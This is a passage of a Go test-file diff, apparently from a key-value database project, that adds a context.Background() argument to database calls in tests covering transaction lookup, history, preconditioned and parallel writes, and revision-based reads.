tx.Entries, 3) @@ -582,7 +582,7 @@ func TestTxByID(t *testing.T) { require.Len(t, e.Value, 0) } - tx, err = db.TxByID(&schema.TxRequest{Tx: txhdr3.ID}) + tx, err = db.TxByID(context.Background(), &schema.TxRequest{Tx: txhdr3.ID}) require.NoError(t, err) require.NotNil(t, tx) require.Len(t, tx.Entries, 1) @@ -595,7 +595,7 @@ func TestTxByID(t *testing.T) { }) t.Run("values should not be resolved but digests returned in entries field", func(t *testing.T) { - tx, err := db.TxByID(&schema.TxRequest{Tx: txhdr1.Id, EntriesSpec: &schema.EntriesSpec{ + tx, err := db.TxByID(context.Background(), &schema.TxRequest{Tx: txhdr1.Id, EntriesSpec: &schema.EntriesSpec{ KvEntriesSpec: &schema.EntryTypeSpec{Action: schema.EntryTypeAction_ONLY_DIGEST}, }}) require.NoError(t, err) @@ -608,7 +608,7 @@ func TestTxByID(t *testing.T) { require.Len(t, e.Value, 0) } - tx, err = db.TxByID(&schema.TxRequest{Tx: txhdr2.Id, EntriesSpec: &schema.EntriesSpec{ + tx, err = db.TxByID(context.Background(), &schema.TxRequest{Tx: txhdr2.Id, EntriesSpec: &schema.EntriesSpec{ KvEntriesSpec: &schema.EntryTypeSpec{Action: schema.EntryTypeAction_ONLY_DIGEST}, ZEntriesSpec: &schema.EntryTypeSpec{Action: schema.EntryTypeAction_ONLY_DIGEST}, }}) @@ -622,7 +622,7 @@ func TestTxByID(t *testing.T) { require.Len(t, e.Value, 0) } - tx, err = db.TxByID(&schema.TxRequest{Tx: txhdr3.ID, EntriesSpec: &schema.EntriesSpec{ + tx, err = db.TxByID(context.Background(), &schema.TxRequest{Tx: txhdr3.ID, EntriesSpec: &schema.EntriesSpec{ SqlEntriesSpec: &schema.EntryTypeSpec{Action: schema.EntryTypeAction_ONLY_DIGEST}, }}) require.NoError(t, err) @@ -637,21 +637,21 @@ func TestTxByID(t *testing.T) { }) t.Run("no entries should be returned if not explicitly included", func(t *testing.T) { - tx, err := db.TxByID(&schema.TxRequest{Tx: txhdr1.Id, EntriesSpec: &schema.EntriesSpec{}}) + tx, err := db.TxByID(context.Background(), &schema.TxRequest{Tx: txhdr1.Id, EntriesSpec: &schema.EntriesSpec{}}) require.NoError(t, err) require.NotNil(t, tx) require.Empty(t, tx.Entries) require.Empty(t, tx.KvEntries) require.Empty(t, tx.ZEntries) - tx, err = db.TxByID(&schema.TxRequest{Tx: txhdr2.Id, EntriesSpec: &schema.EntriesSpec{}}) + tx, err = db.TxByID(context.Background(), &schema.TxRequest{Tx: txhdr2.Id, EntriesSpec: &schema.EntriesSpec{}}) require.NoError(t, err) require.NotNil(t, tx) require.Empty(t, tx.Entries) require.Empty(t, tx.KvEntries) require.Empty(t, tx.ZEntries) - tx, err = db.TxByID(&schema.TxRequest{Tx: txhdr3.ID, EntriesSpec: &schema.EntriesSpec{}}) + tx, err = db.TxByID(context.Background(), &schema.TxRequest{Tx: txhdr3.ID, EntriesSpec: &schema.EntriesSpec{}}) require.NoError(t, err) require.NotNil(t, tx) require.Empty(t, tx.Entries) @@ -660,7 +660,7 @@ func TestTxByID(t *testing.T) { }) t.Run("no entries should be returned if explicitly excluded", func(t *testing.T) { - tx, err := db.TxByID(&schema.TxRequest{Tx: txhdr1.Id, EntriesSpec: &schema.EntriesSpec{ + tx, err := db.TxByID(context.Background(), &schema.TxRequest{Tx: txhdr1.Id, EntriesSpec: &schema.EntriesSpec{ KvEntriesSpec: &schema.EntryTypeSpec{Action: schema.EntryTypeAction_EXCLUDE}, }}) require.NoError(t, err) @@ -669,7 +669,7 @@ func TestTxByID(t *testing.T) { require.Empty(t, tx.KvEntries) require.Empty(t, tx.ZEntries) - tx, err = db.TxByID(&schema.TxRequest{Tx: txhdr2.Id, EntriesSpec: &schema.EntriesSpec{ + tx, err = db.TxByID(context.Background(), &schema.TxRequest{Tx: txhdr2.Id, EntriesSpec: &schema.EntriesSpec{ KvEntriesSpec: &schema.EntryTypeSpec{Action: schema.EntryTypeAction_EXCLUDE}, ZEntriesSpec: &schema.EntryTypeSpec{Action: schema.EntryTypeAction_EXCLUDE}, }}) @@ -679,7 +679,7 @@ func TestTxByID(t *testing.T) { require.Empty(t, tx.KvEntries) require.Empty(t, tx.ZEntries) - tx, err = db.TxByID(&schema.TxRequest{Tx: txhdr3.ID, EntriesSpec: &schema.EntriesSpec{ + tx, err = db.TxByID(context.Background(), &schema.TxRequest{Tx: txhdr3.ID, EntriesSpec: &schema.EntriesSpec{ SqlEntriesSpec: &schema.EntryTypeSpec{Action: schema.EntryTypeAction_EXCLUDE}, }}) require.NoError(t, err) @@ -690,7 +690,7 @@ func TestTxByID(t *testing.T) { }) t.Run("raw entries should be returned", func(t *testing.T) { - tx, err := db.TxByID(&schema.TxRequest{Tx: txhdr1.Id, EntriesSpec: &schema.EntriesSpec{ + tx, err := db.TxByID(context.Background(), &schema.TxRequest{Tx: txhdr1.Id, EntriesSpec: &schema.EntriesSpec{ KvEntriesSpec: &schema.EntryTypeSpec{Action: schema.EntryTypeAction_RAW_VALUE}, }}) require.NoError(t, err) @@ -704,7 +704,7 @@ func TestTxByID(t *testing.T) { require.Equal(t, e.HValue, hval[:]) } - tx, err = db.TxByID(&schema.TxRequest{Tx: txhdr2.Id, EntriesSpec: &schema.EntriesSpec{ + tx, err = db.TxByID(context.Background(), &schema.TxRequest{Tx: txhdr2.Id, EntriesSpec: &schema.EntriesSpec{ ZEntriesSpec: &schema.EntryTypeSpec{Action: schema.EntryTypeAction_RAW_VALUE}, }}) require.NoError(t, err) @@ -718,7 +718,7 @@ func TestTxByID(t *testing.T) { require.Equal(t, e.HValue, hval[:]) } - tx, err = db.TxByID(&schema.TxRequest{Tx: txhdr3.ID, EntriesSpec: &schema.EntriesSpec{ + tx, err = db.TxByID(context.Background(), &schema.TxRequest{Tx: txhdr3.ID, EntriesSpec: &schema.EntriesSpec{ SqlEntriesSpec: &schema.EntryTypeSpec{Action: schema.EntryTypeAction_RAW_VALUE}, }}) require.NoError(t, err) @@ -734,7 +734,7 @@ func TestTxByID(t *testing.T) { }) t.Run("only kv entries should be resolved", func(t *testing.T) { - tx, err := db.TxByID(&schema.TxRequest{Tx: txhdr2.Id, EntriesSpec: &schema.EntriesSpec{ + tx, err := db.TxByID(context.Background(), &schema.TxRequest{Tx: txhdr2.Id, EntriesSpec: &schema.EntriesSpec{ KvEntriesSpec: &schema.EntryTypeSpec{Action: schema.EntryTypeAction_RESOLVE}, }}) require.NoError(t, err) @@ -750,7 +750,7 @@ func TestTxByID(t *testing.T) { }) t.Run("only kv entries should be resolved (but not references)", func(t *testing.T) { - tx, err := db.TxByID(&schema.TxRequest{ + tx, err := db.TxByID(context.Background(), &schema.TxRequest{ Tx: txhdr2.Id, EntriesSpec: &schema.EntriesSpec{ KvEntriesSpec: &schema.EntryTypeSpec{Action: schema.EntryTypeAction_RESOLVE}, @@ -775,7 +775,7 @@ func TestTxByID(t *testing.T) { }) t.Run("only zentries should be resolved", func(t *testing.T) { - tx, err := db.TxByID(&schema.TxRequest{Tx: txhdr2.Id, EntriesSpec: &schema.EntriesSpec{ + tx, err := db.TxByID(context.Background(), &schema.TxRequest{Tx: txhdr2.Id, EntriesSpec: &schema.EntriesSpec{ ZEntriesSpec: &schema.EntryTypeSpec{Action: schema.EntryTypeAction_RESOLVE}, }}) require.NoError(t, err) @@ -791,7 +791,7 @@ func TestTxByID(t *testing.T) { }) t.Run("only zentries should be resolved (but not including entries)", func(t *testing.T) { - tx, err := db.TxByID(&schema.TxRequest{ + tx, err := db.TxByID(context.Background(), &schema.TxRequest{ Tx: txhdr2.Id, EntriesSpec: &schema.EntriesSpec{ ZEntriesSpec: &schema.EntryTypeSpec{Action: schema.EntryTypeAction_RESOLVE}, @@ -811,7 +811,7 @@ func TestTxByID(t *testing.T) { }) t.Run("sql entries can not be resolved", func(t *testing.T) { - _, err := db.TxByID(&schema.TxRequest{Tx: txhdr3.ID, EntriesSpec: &schema.EntriesSpec{ + _, err := db.TxByID(context.Background(), &schema.TxRequest{Tx: txhdr3.ID, EntriesSpec: &schema.EntriesSpec{ SqlEntriesSpec: &schema.EntryTypeSpec{Action: schema.EntryTypeAction_RESOLVE}, }}) require.ErrorIs(t, err, ErrIllegalArguments) @@ -821,18 +821,18 @@ func TestTxByID(t *testing.T) { func TestVerifiableTxByID(t *testing.T) { db := makeDb(t) - _, err := db.VerifiableTxByID(nil) + _, err := db.VerifiableTxByID(context.Background(), nil) require.Error(t, ErrIllegalArguments, err) var txhdr *schema.TxHeader for _, val := range kvs { - txhdr, err = db.Set(&schema.SetRequest{KVs: []*schema.KeyValue{{Key: val.Key, Value: val.Value}}}) + txhdr, err = db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: val.Key, Value: val.Value}}}) require.NoError(t, err) } t.Run("values should be returned", func(t *testing.T) { - vtx, err := db.VerifiableTxByID(&schema.VerifiableTxRequest{ + vtx, err := db.VerifiableTxByID(context.Background(), &schema.VerifiableTxRequest{ Tx: txhdr.Id, ProveSinceTx: 0, EntriesSpec: &schema.EntriesSpec{ @@ -850,7 +850,7 @@ func TestVerifiableTxByID(t *testing.T) { }) t.Run("values should not be returned", func(t *testing.T) { - vtx, err := db.VerifiableTxByID(&schema.VerifiableTxRequest{ + vtx, err := db.VerifiableTxByID(context.Background(), &schema.VerifiableTxRequest{ Tx: txhdr.Id, ProveSinceTx: 0, }) @@ -870,26 +870,26 @@ func TestTxScan(t *testing.T) { require.NoError(t, err) for _, val := range kvs { - _, err := db.Set(&schema.SetRequest{KVs: []*schema.KeyValue{{Key: val.Key, Value: val.Value}}}) + _, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: val.Key, Value: val.Value}}}) require.NoError(t, err) } - _, err = db.TxScan(nil) + _, err = db.TxScan(context.Background(), nil) require.Equal(t, ErrIllegalArguments, err) - _, err = db.TxScan(&schema.TxScanRequest{ + _, err = db.TxScan(context.Background(), &schema.TxScanRequest{ InitialTx: 0, }) require.Equal(t, ErrIllegalArguments, err) - _, err = db.TxScan(&schema.TxScanRequest{ + _, err = db.TxScan(context.Background(), &schema.TxScanRequest{ InitialTx: 1, Limit: uint32(db.MaxResultSize() + 1), }) require.ErrorIs(t, err, ErrResultSizeLimitExceeded) t.Run("values should be returned reaching result size limit", func(t *testing.T) { - txList, err := db.TxScan(&schema.TxScanRequest{ + txList, err := db.TxScan(context.Background(), &schema.TxScanRequest{ InitialTx: initialState.TxId + 1, EntriesSpec: &schema.EntriesSpec{ KvEntriesSpec: &schema.EntryTypeSpec{ @@ -911,7 +911,7 @@ func TestTxScan(t *testing.T) { t.Run("values should be returned without reaching result size limit", func(t *testing.T) { limit := db.MaxResultSize() - 1 - txList, err := db.TxScan(&schema.TxScanRequest{ + txList, err := db.TxScan(context.Background(), &schema.TxScanRequest{ InitialTx: initialState.TxId + 1, Limit: uint32(limit), EntriesSpec: &schema.EntriesSpec{ @@ -932,7 +932,7 @@ func TestTxScan(t *testing.T) { }) t.Run("values should not be returned", func(t *testing.T) { - txList, err := db.TxScan(&schema.TxScanRequest{ + txList, err := db.TxScan(context.Background(), &schema.TxScanRequest{ InitialTx: initialState.TxId + 1, }) require.ErrorIs(t, err, ErrResultSizeLimitReached) @@ -953,7 +953,7 @@ func TestHistory(t *testing.T) { var lastTx uint64 for _, val := range kvs { - _, err := db.Set(&schema.SetRequest{KVs: []*schema.KeyValue{{Key: val.Key, Value: val.Value}}}) + _, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: val.Key, Value: val.Value}}}) require.NoError(t, err) } @@ -963,10 +963,10 @@ func TestHistory(t *testing.T) { err = db.FlushIndex(&schema.FlushIndexRequest{CleanupPercentage: 100, Synced: true}) require.NoError(t, err) - _, err = db.Delete(&schema.DeleteKeysRequest{Keys: [][]byte{kvs[0].Key}}) + _, err = db.Delete(context.Background(), &schema.DeleteKeysRequest{Keys: [][]byte{kvs[0].Key}}) require.NoError(t, err) - meta, err := db.Set(&schema.SetRequest{ + meta, err := db.Set(context.Background(), &schema.SetRequest{ KVs: []*schema.KeyValue{{ Key: kvs[0].Key, Value: kvs[0].Value, @@ -977,17 +977,17 @@ func TestHistory(t *testing.T) { time.Sleep(1 * time.Millisecond) - _, err = db.History(nil) + _, err = db.History(context.Background(), nil) require.Equal(t, ErrIllegalArguments, err) - _, err = db.History(&schema.HistoryRequest{ + _, err = db.History(context.Background(), &schema.HistoryRequest{ Key: kvs[0].Key, SinceTx: lastTx, Limit: int32(db.MaxResultSize() + 1), }) require.ErrorIs(t, err, ErrResultSizeLimitExceeded) - inc, err := db.History(&schema.HistoryRequest{ + inc, err := db.History(context.Background(), &schema.HistoryRequest{ Key: kvs[0].Key, SinceTx: lastTx, }) @@ -1003,7 +1003,7 @@ func TestHistory(t *testing.T) { require.EqualValues(t, i+1, val.Revision) } - dec, err := db.History(&schema.HistoryRequest{ + dec, err := db.History(context.Background(), &schema.HistoryRequest{ Key: kvs[0].Key, SinceTx: lastTx, Desc: true, @@ -1020,7 +1020,7 @@ func TestHistory(t *testing.T) { require.EqualValues(t, 3-i, val.Revision) } - inc, err = db.History(&schema.HistoryRequest{ + inc, err = db.History(context.Background(), &schema.HistoryRequest{ Key: kvs[0].Key, Offset: uint64(len(kvs) + 1), SinceTx: lastTx, @@ -1032,7 +1032,7 @@ func TestHistory(t *testing.T) { func TestPreconditionedSet(t *testing.T) { db := makeDb(t) - _, err := db.Set(&schema.SetRequest{ + _, err := db.Set(context.Background(), &schema.SetRequest{ KVs: []*schema.KeyValue{{ Key: []byte("key-no-preconditions"), Value: []byte("value"), @@ -1040,7 +1040,7 @@ func TestPreconditionedSet(t *testing.T) { }) require.NoError(t, err, "could not set a value without preconditions") - _, err = db.Set(&schema.SetRequest{ + _, err = db.Set(context.Background(), &schema.SetRequest{ KVs: []*schema.KeyValue{{ Key: []byte("key"), Value: []byte("value"), @@ -1052,7 +1052,7 @@ func TestPreconditionedSet(t *testing.T) { require.ErrorIs(t, err, store.ErrPreconditionFailed, "did not detect missing key when MustExist precondition was present") - tx1, err := db.Set(&schema.SetRequest{ + tx1, err := db.Set(context.Background(), &schema.SetRequest{ KVs: []*schema.KeyValue{{ Key: []byte("key"), Value: []byte("value"), @@ -1064,7 +1064,7 @@ func TestPreconditionedSet(t *testing.T) { require.NoError(t, err, "failed to add a key with MustNotExist precondition even though the key does not exist") - _, err = db.Set(&schema.SetRequest{ + _, err = db.Set(context.Background(), &schema.SetRequest{ KVs: []*schema.KeyValue{{ Key: []byte("key"), Value: []byte("value"), @@ -1076,7 +1076,7 @@ func TestPreconditionedSet(t *testing.T) { require.ErrorIs(t, err, store.ErrPreconditionFailed, "did not detect existing key even though MustNotExist precondition was used") - tx2, err := db.Set(&schema.SetRequest{ + tx2, err := db.Set(context.Background(), &schema.SetRequest{ KVs: []*schema.KeyValue{{ Key: []byte("key"), Value: []byte("value"), @@ -1088,7 +1088,7 @@ func TestPreconditionedSet(t *testing.T) { require.NoError(t, err, "did not add a key even though MustExist precondition was successful") - _, err = db.Set(&schema.SetRequest{ + _, err = db.Set(context.Background(), &schema.SetRequest{ KVs: []*schema.KeyValue{{ Key: []byte("key"), Value: []byte("value"), @@ -1100,7 +1100,7 @@ func TestPreconditionedSet(t *testing.T) { require.ErrorIs(t, err, store.ErrPreconditionFailed, "did not detect NotModifiedAfterTX precondition") - _, err = db.Set(&schema.SetRequest{ + _, err = db.Set(context.Background(), &schema.SetRequest{ KVs: []*schema.KeyValue{{ Key: []byte("key"), Value: []byte("value"), @@ -1112,7 +1112,7 @@ func TestPreconditionedSet(t *testing.T) { require.NoError(t, err, "did not add valid entry with NotModifiedAfterTX precondition") - _, err = db.Set(&schema.SetRequest{ + _, err = db.Set(context.Background(), &schema.SetRequest{ KVs: []*schema.KeyValue{{ Key: []byte("key"), Value: []byte("value"), @@ -1124,7 +1124,7 @@ func TestPreconditionedSet(t *testing.T) { require.ErrorIs(t, err, store.ErrPreconditionFailed, "did not detect failed NotModifiedAfterTX precondition after new entry was added") - _, err = db.Set(&schema.SetRequest{ + _, err = db.Set(context.Background(), &schema.SetRequest{ KVs: []*schema.KeyValue{{ Key: []byte("key2"), Value: []byte("value"), @@ -1136,7 +1136,7 @@ func TestPreconditionedSet(t *testing.T) { require.NoError(t, err, "did not add entry with NotModifiedAfterTX precondition when the key does not exist") - _, err = db.Set(&schema.SetRequest{ + _, err = db.Set(context.Background(), &schema.SetRequest{ KVs: []*schema.KeyValue{{ Key: []byte("key3"), Value: []byte("value"), @@ -1149,7 +1149,7 @@ func TestPreconditionedSet(t *testing.T) { require.ErrorIs(t, err, store.ErrPreconditionFailed, "did not detect failed mix of NotModifiedAfterTX and MustExist preconditions when the key does not exist") - _, err = db.Set(&schema.SetRequest{ + _, err = db.Set(context.Background(), &schema.SetRequest{ KVs: []*schema.KeyValue{{ Key: []byte("key3"), Value: []byte("value"), @@ -1162,7 +1162,7 @@ func TestPreconditionedSet(t *testing.T) { require.ErrorIs(t, err, store.ErrPreconditionFailed, "did not detect failed mix of MustNotExist and MustExist preconditions when the key does not exist") - _, err = db.Set(&schema.SetRequest{ + _, err = db.Set(context.Background(), &schema.SetRequest{ KVs: []*schema.KeyValue{ { Key: []byte("key4-no-preconditions"), @@ -1180,7 +1180,7 @@ func TestPreconditionedSet(t *testing.T) { require.ErrorIs(t, err, store.ErrPreconditionFailed, "did not fail even though one of KV entries failed precondition check") - _, err = db.Set(&schema.SetRequest{ + _, err = db.Set(context.Background(), &schema.SetRequest{ KVs: []*schema.KeyValue{ { Key: []byte("key4-no-preconditions"), @@ -1192,7 +1192,7 @@ func TestPreconditionedSet(t *testing.T) { require.ErrorIs(t, err, store.ErrInvalidPrecondition, "did not fail when invalid nil precondition was given") - _, err = db.Set(&schema.SetRequest{ + _, err = db.Set(context.Background(), &schema.SetRequest{ KVs: []*schema.KeyValue{ { Key: []byte("key6"), @@ -1213,7 +1213,7 @@ func TestPreconditionedSet(t *testing.T) { c = append(c, schema.PreconditionKeyMustNotExist([]byte(fmt.Sprintf("key_%d", i)))) } - _, err = db.Set(&schema.SetRequest{ + _, err = db.Set(context.Background(), &schema.SetRequest{ KVs: []*schema.KeyValue{ { Key: []byte("key6"), @@ -1271,7 +1271,7 @@ func TestPreconditionedSetParallel(t *testing.T) { wg2.Add(parallelism) failCount, successCount, badError := runInParallel(func(i int) error { - _, err := db.Set(&schema.SetRequest{ + _, err := db.Set(context.Background(), &schema.SetRequest{ KVs: []*schema.KeyValue{{ Key: []byte(`key`), Value: []byte(fmt.Sprintf("goroutine: %d", i)), @@ -1291,7 +1291,7 @@ func TestPreconditionedSetParallel(t *testing.T) { t.Run("MustExist", func(t *testing.T) { failCount, successCount, badError := runInParallel(func(i int) error { - _, err := db.Set(&schema.SetRequest{ + _, err := db.Set(context.Background(), &schema.SetRequest{ KVs: []*schema.KeyValue{{ Key: []byte(`key`), Value: []byte(fmt.Sprintf("goroutine: %d", i)), @@ -1310,14 +1310,14 @@ func TestPreconditionedSetParallel(t *testing.T) { t.Run("NotModifiedAfterTX", func(t *testing.T) { - tx, err := db.Set(&schema.SetRequest{KVs: []*schema.KeyValue{{ + tx, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{ Key: []byte(`key`), Value: []byte(`base value`), }}}) require.NoError(t, err) failCount, successCount, badError := runInParallel(func(i int) error { - _, err := db.Set(&schema.SetRequest{ + _, err := db.Set(context.Background(), &schema.SetRequest{ KVs: []*schema.KeyValue{{ Key: []byte(`key`), Value: []byte(fmt.Sprintf("goroutine: %d", i)), @@ -1344,7 +1344,7 @@ func TestPreconditionedSetParallel(t *testing.T) { wg2.Add(parallelism) failCount, successCount, badError := runInParallel(func(i int) error { - _, err := db.SetReference(&schema.ReferenceRequest{ + _, err := db.SetReference(context.Background(), &schema.ReferenceRequest{ Key: []byte(`reference`), ReferencedKey: []byte(`key`), Preconditions: []*schema.Precondition{ @@ -1362,7 +1362,7 @@ func TestPreconditionedSetParallel(t *testing.T) { t.Run("MustExist", func(t *testing.T) { failCount, successCount, badError := runInParallel(func(i int) error { - _, err := db.SetReference(&schema.ReferenceRequest{ + _, err := db.SetReference(context.Background(), &schema.ReferenceRequest{ Key: []byte(`reference`), ReferencedKey: []byte(`key`), Preconditions: []*schema.Precondition{ @@ -1379,14 +1379,14 @@ func TestPreconditionedSetParallel(t *testing.T) { t.Run("NotModifiedAfterTX", func(t *testing.T) { - tx, err := db.SetReference(&schema.ReferenceRequest{ + tx, err := db.SetReference(context.Background(), &schema.ReferenceRequest{ Key: []byte(`reference`), ReferencedKey: []byte(`key`), }) require.NoError(t, err) failCount, successCount, badError := runInParallel(func(i int) error { - _, err := db.SetReference(&schema.ReferenceRequest{ + _, err := db.SetReference(context.Background(), &schema.ReferenceRequest{ Key: []byte(`reference`), ReferencedKey: []byte(`key`), Preconditions: []*schema.Precondition{ @@ -1411,7 +1411,7 @@ func TestPreconditionedSetParallel(t *testing.T) { wg2.Add(parallelism) failCount, successCount, badError := runInParallel(func(i int) error { - _, err := db.ExecAll(&schema.ExecAllRequest{ + _, err := db.ExecAll(context.Background(), &schema.ExecAllRequest{ Operations: []*schema.Op{{ Operation: &schema.Op_Kv{ Kv: &schema.KeyValue{ @@ -1435,7 +1435,7 @@ func TestPreconditionedSetParallel(t *testing.T) { t.Run("MustExist", func(t *testing.T) { failCount, successCount, badError := runInParallel(func(i int) error { - _, err := db.ExecAll(&schema.ExecAllRequest{ + _, err := db.ExecAll(context.Background(), &schema.ExecAllRequest{ Operations: []*schema.Op{{ Operation: &schema.Op_Kv{ Kv: &schema.KeyValue{ @@ -1458,14 +1458,14 @@ func TestPreconditionedSetParallel(t *testing.T) { t.Run("NotModifiedAfterTX", func(t *testing.T) { - tx, err := db.Set(&schema.SetRequest{KVs: []*schema.KeyValue{{ + tx, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{ Key: []byte(`key-ea`), Value: []byte(`base value`), }}}) require.NoError(t, err) failCount, successCount, badError := runInParallel(func(i int) error { - _, err := db.ExecAll(&schema.ExecAllRequest{ + _, err := db.ExecAll(context.Background(), &schema.ExecAllRequest{ Operations: []*schema.Op{{ Operation: &schema.Op_Kv{ Kv: &schema.KeyValue{ @@ -1496,7 +1496,7 @@ func TestPreconditionedSetParallel(t *testing.T) { wg2.Add(parallelism) failCount, successCount, badError := runInParallel(func(i int) error { - _, err := db.ExecAll(&schema.ExecAllRequest{ + _, err := db.ExecAll(context.Background(), &schema.ExecAllRequest{ Operations: []*schema.Op{{ Operation: &schema.Op_Ref{ Ref: &schema.ReferenceRequest{ @@ -1520,7 +1520,7 @@ func TestPreconditionedSetParallel(t *testing.T) { t.Run("MustExist", func(t *testing.T) { failCount, successCount, badError := runInParallel(func(i int) error { - _, err := db.ExecAll(&schema.ExecAllRequest{ + _, err := db.ExecAll(context.Background(), &schema.ExecAllRequest{ Operations: []*schema.Op{{ Operation: &schema.Op_Ref{ Ref: &schema.ReferenceRequest{ @@ -1543,14 +1543,14 @@ func TestPreconditionedSetParallel(t *testing.T) { t.Run("NotModifiedAfterTX", func(t *testing.T) { - tx, err := db.SetReference(&schema.ReferenceRequest{ + tx, err := db.SetReference(context.Background(), &schema.ReferenceRequest{ Key: []byte(`reference-ea`), ReferencedKey: []byte(`key-ea`), }) require.NoError(t, err) failCount, successCount, badError := runInParallel(func(i int) error { - _, err := db.ExecAll(&schema.ExecAllRequest{ + _, err := db.ExecAll(context.Background(), &schema.ExecAllRequest{ Operations: []*schema.Op{{ Operation: &schema.Op_Ref{ Ref: &schema.ReferenceRequest{ @@ -1616,7 +1616,7 @@ func TestGetAtRevision(t *testing.T) { const histCount = 10 for i := 0; i < histCount; i++ { - _, err := db.Set(&schema.SetRequest{ + _, err := db.Set(context.Background(), &schema.SetRequest{ KVs: []*schema.KeyValue{{ Key: []byte("key"), Value: []byte(fmt.Sprintf("value%d", i)), @@ -1626,7 +1626,7 @@ func TestGetAtRevision(t *testing.T) { } t.Run("get the most recent value if no revision is specified", func(t *testing.T) { - k, err := db.Get(&schema.KeyRequest{ + k, err := db.Get(context.Background(), &schema.KeyRequest{ Key: []byte("key"), }) require.NoError(t, err) @@ -1635,7 +1635,7 @@ func TestGetAtRevision(t *testing.T) { t.Run("get correct values for positive revision numbers", func(t *testing.T) { for i := 0; i < histCount; i++ { - k, err := db.Get(&schema.KeyRequest{ + k, err := db.Get(context.Background(), &schema.KeyRequest{ Key: []byte("key"), AtRevision: int64(i) + 1, }) @@ -1645,7 +1645,7 @@ func TestGetAtRevision(t *testing.T) { }) t.Run("get correct error if positive revision number is to high", func(t *testing.T) { - _, err := db.Get(&schema.KeyRequest{ + _, err := db.Get(context.Background(), &schema.KeyRequest{ Key: []byte("key"), AtRevision: 11, }) @@ -1653,7 +1653,7 @@ func TestGetAtRevision(t *testing.T) { }) t.Run("get correct error if maximum integer value is used for the revision number", func(t *testing.T) { - _, err := db.Get(&schema.KeyRequest{ + _, err := db.Get(context.Background(), &schema.KeyRequest{ Key: []byte("key"), AtRevision: math.MaxInt64, }) @@ -1662,7 +1662,7 @@ func TestGetAtRevision(t *testing.T) { t.Run("get correct values for negative revision numbers", func(t *testing.T) { for i := 1; i < histCount; i++ { - k, err := db.Get(&schema.KeyRequest{ + k, err := db.Get(context.Background(), &schema.KeyRequest{ Key: []byte("key"), AtRevision: -int64(i), }) @@ -1672,7 +1672,7 @@ func TestGetAtRevision(t *testing.T) { }) t.Run("get correct error if negative revision number is to low", func(t *testing.T) { - _, err := db.Get(&schema.KeyRequest{ + _, err := db.Get(context.Background(), &schema.KeyRequest{ Key: []byte("key"), AtRevision: -10, }) @@ -1680,7 +1680,7 @@ func TestGetAtRevision(t *testing.T) { }) t.Run("get correct error if minimum negative revision number is used", func(t *testing.T) { - _, err := db.Get(&schema.KeyRequest{ + _, err := db.Get(context.Background(), &schema.KeyRequest{ Key: []byte("key"), AtRevision: math.MinInt64, }) @@ -1688,7 +1688,7 @@ func TestGetAtRevision(t *testing.T) { }) t.Run("get correct error if non-existing key is specified", func(t *testing.T) { - _, err := db.Get(&schema.KeyRequest{ + _, err := db.Get(context.Background(), &schema.KeyRequest{ Key: []byte("non-existing-key"), AtRevision: 1, }) @@ -1696,7 +1696,7 @@ func TestGetAtRevision(t *testing.T) { }) t.Run("get correct error if expired entry is fetched through revision", func(t *testing.T) { - _, err := db.Set(&schema.SetRequest{ + _, err := db.Set(context.Background(), &schema.SetRequest{ KVs: []*schema.KeyValue{{ Key: []byte("exp-key"), Value: []byte("expired-value"), @@ -1709,7 +1709,7 @@ func TestGetAtRevision(t *testing.T) { }) require.NoError(t, err) - _, err = db.Set(&schema.SetRequest{ + _, err = db.Set(context.Background(), &schema.SetRequest{ KVs: []*schema.KeyValue{{ Key: []byte("exp-key"), Value: []byte("not-expired-value"), @@ -1717,14 +1717,14 @@ func TestGetAtRevision(t *testing.T) { }) require.NoError(t, err) - entry, err := db.Get(&schema.KeyRequest{ + entry, err := db.Get(context.Background(), &schema.KeyRequest{ Key: []byte("exp-key"), }) require.NoError(t, err) require.Equal(t, []byte("not-expired-value"), entry.Value) require.EqualValues(t, 2, entry.Revision) - _, err = db.Get(&schema.KeyRequest{ + _, err = db.Get(context.Background(), &schema.KeyRequest{ Key: []byte("exp-key"), AtRevision: 1, }) @@ -1740,7 +1740,7 @@ func TestRevisionGetConsistency(t *testing.T) { // Repeat the test for different revision numbers for i := 0; i < 10; i++ { - keyTx, err := db.Set(&schema.SetRequest{KVs: []*schema.KeyValue{{ + keyTx, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{ Key: []byte("key"), Value: []byte(fmt.Sprintf("value_%d", i)), }}}) @@ -1750,13 +1750,13 @@ func TestRevisionGetConsistency(t *testing.T) { keyTxId = keyTx.Id } - _, err = db.SetReference(&schema.ReferenceRequest{ + _, err = db.SetReference(context.Background(), &schema.ReferenceRequest{ Key: []byte("reference_unbound"), ReferencedKey: []byte("key"), }) require.NoError(t, err) - _, err = db.SetReference(&schema.ReferenceRequest{ + _, err = db.SetReference(context.Background(), &schema.ReferenceRequest{ Key: []byte("reference_bound"), ReferencedKey: []byte("key"), AtTx: keyTxId, @@ -1765,10 +1765,10 @@ func TestRevisionGetConsistency(t *testing.T) { require.NoError(t, err) t.Run("get and scan should return consistent revision on direct entries", func(t *testing.T) { - entryFromGet, err := db.Get(&schema.KeyRequest{Key: []byte("key")}) + entryFromGet, err := db.Get(context.Background(), &schema.KeyRequest{Key: []byte("key")}) require.NoError(t, err) - scanResults, err := db.Scan(&schema.ScanRequest{Prefix: []byte("key")}) + scanResults, err := db.Scan(context.Background(), &schema.ScanRequest{Prefix: []byte("key")}) require.NoError(t, err) require.Len(t, scanResults.Entries, 1) @@ -1777,11 +1777,11 @@ func TestRevisionGetConsistency(t *testing.T) { }) t.Run("get and scan should return consistent revision on unbound references", func(t *testing.T) { - entryFromGet, err := db.Get(&schema.KeyRequest{Key: []byte("reference_unbound")}) + entryFromGet, err := db.Get(context.Background(), &schema.KeyRequest{Key: []byte("reference_unbound")}) require.NoError(t, err) require.Equal(t, []byte(fmt.Sprintf("value_%d", i)), entryFromGet.Value) - scanResults, err := db.Scan(&schema.ScanRequest{Prefix: []byte("reference_unbound")}) + scanResults, err := db.Scan(context.Background(), &schema.ScanRequest{Prefix: []byte("reference_unbound")}) require.NoError(t, err) require.Len(t, scanResults.Entries, 1) require.Equal(t, []byte(fmt.Sprintf("value_%d", i)), scanResults.Entries[0].Value) @@ -1793,11 +1793,11 @@ func TestRevisionGetConsistency(t *testing.T) { }) t.Run("get and scan should return 